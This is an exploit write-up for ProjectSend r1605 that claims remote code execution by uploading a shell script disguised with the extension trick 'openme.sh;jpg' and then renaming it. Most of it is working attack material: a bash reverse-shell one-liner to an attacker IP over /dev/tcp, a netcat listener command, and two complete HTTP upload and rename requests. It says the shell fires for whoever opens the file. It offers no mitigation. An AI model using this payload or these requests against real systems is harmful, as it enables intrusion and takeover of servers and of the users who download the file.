Exploit Title: projectSend r1605 - Remote Code Exectution RCE
Application: projectSend
Version: r1605
Bugs:  rce via file extension manipulation
Technology: PHP
Vendor URL: https://www.projectsend.org/
Software Link: https://www.projectsend.org/
Date of found: 26-01-2023
Author: Mirabbas Ağalarov
Tested on: Linux 
POC video: https://youtu.be/Ln7KluDfnk4

2. Technical Details & POC
========================================

1.The attacker first creates a txt file and pastes the following code. Next, the Attacker changes the file extension to jpg. Because the system php,sh,exe etc. It does not allow files. 

bash -i >& /dev/tcp/192.168.100.18/4444 0>&1

2.Then the attacker starts listening for ip and port 
 nc -lvp 4444
 
3.and when uploading file it makes http request as below.file name should be like this      openme.sh;jpg



POST /includes/upload.process.php HTTP/1.1
Host: localhost
Content-Length: 525
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
sec-ch-ua-platform: "Linux"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0enbZuQQAtahFVjI
Accept: */*
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/upload.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: download_started=false; PHPSESSID=jtk7d0nats7nb1r5rjm7a6kj59
Connection: close

------WebKitFormBoundary0enbZuQQAtahFVjI
Content-Disposition: form-data; name="name"

openme.sh;jpg
------WebKitFormBoundary0enbZuQQAtahFVjI
Content-Disposition: form-data; name="chunk"

0
------WebKitFormBoundary0enbZuQQAtahFVjI
Content-Disposition: form-data; name="chunks"

1
------WebKitFormBoundary0enbZuQQAtahFVjI
Content-Disposition: form-data; name="file"; filename="blob"
Content-Type: application/octet-stream

bash -i >& /dev/tcp/192.168.100.18/4444 0>&1

------WebKitFormBoundary0enbZuQQAtahFVjI--


4.In the second request, we do this to the filename section at the bottom.

openme.sh


POST /files-edit.php?ids=34 HTTP/1.1
Host: localhost
Content-Length: 1016
Cache-Control: max-age=0
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryc8btjvyb3An7HcmA
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/files-edit.php?ids=34&type=new
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: download_started=false; PHPSESSID=jtk7d0nats7nb1r5rjm7a6kj59
Connection: close

------WebKitFormBoundaryc8btjvyb3An7HcmA
Content-Disposition: form-data; name="csrf_token"

66540808a4bd64c0f0566e6c20a4bc36c49dfac41172788424c6924b15b18d02
------WebKitFormBoundaryc8btjvyb3An7HcmA
Content-Disposition: form-data; name="file[1][id]"

34
------WebKitFormBoundaryc8btjvyb3An7HcmA
Content-Disposition: form-data; name="file[1][original]"

openme.sh;.jpg
------WebKitFormBoundaryc8btjvyb3An7HcmA
Content-Disposition: form-data; name="file[1][file]"

1674759035-52e51cf3f58377b8a687d49b960a58dfc677f0ad-openmesh.jpg
------WebKitFormBoundaryc8btjvyb3An7HcmA
Content-Disposition: form-data; name="file[1][name]"

openme.sh
------WebKitFormBoundaryc8btjvyb3An7HcmA
Content-Disposition: form-data; name="file[1][description]"


------WebKitFormBoundaryc8btjvyb3An7HcmA
Content-Disposition: form-data; name="file[1][expiry_date]"

25-02-2023
------WebKitFormBoundaryc8btjvyb3An7HcmA
Content-Disposition: form-data; name="save"


------WebKitFormBoundaryc8btjvyb3An7HcmA--


And it doesn't matter who downloads your file. if it opens then reverse shell will be triggered and rce


private youtube video poc : https://youtu.be/Ln7KluDfnk4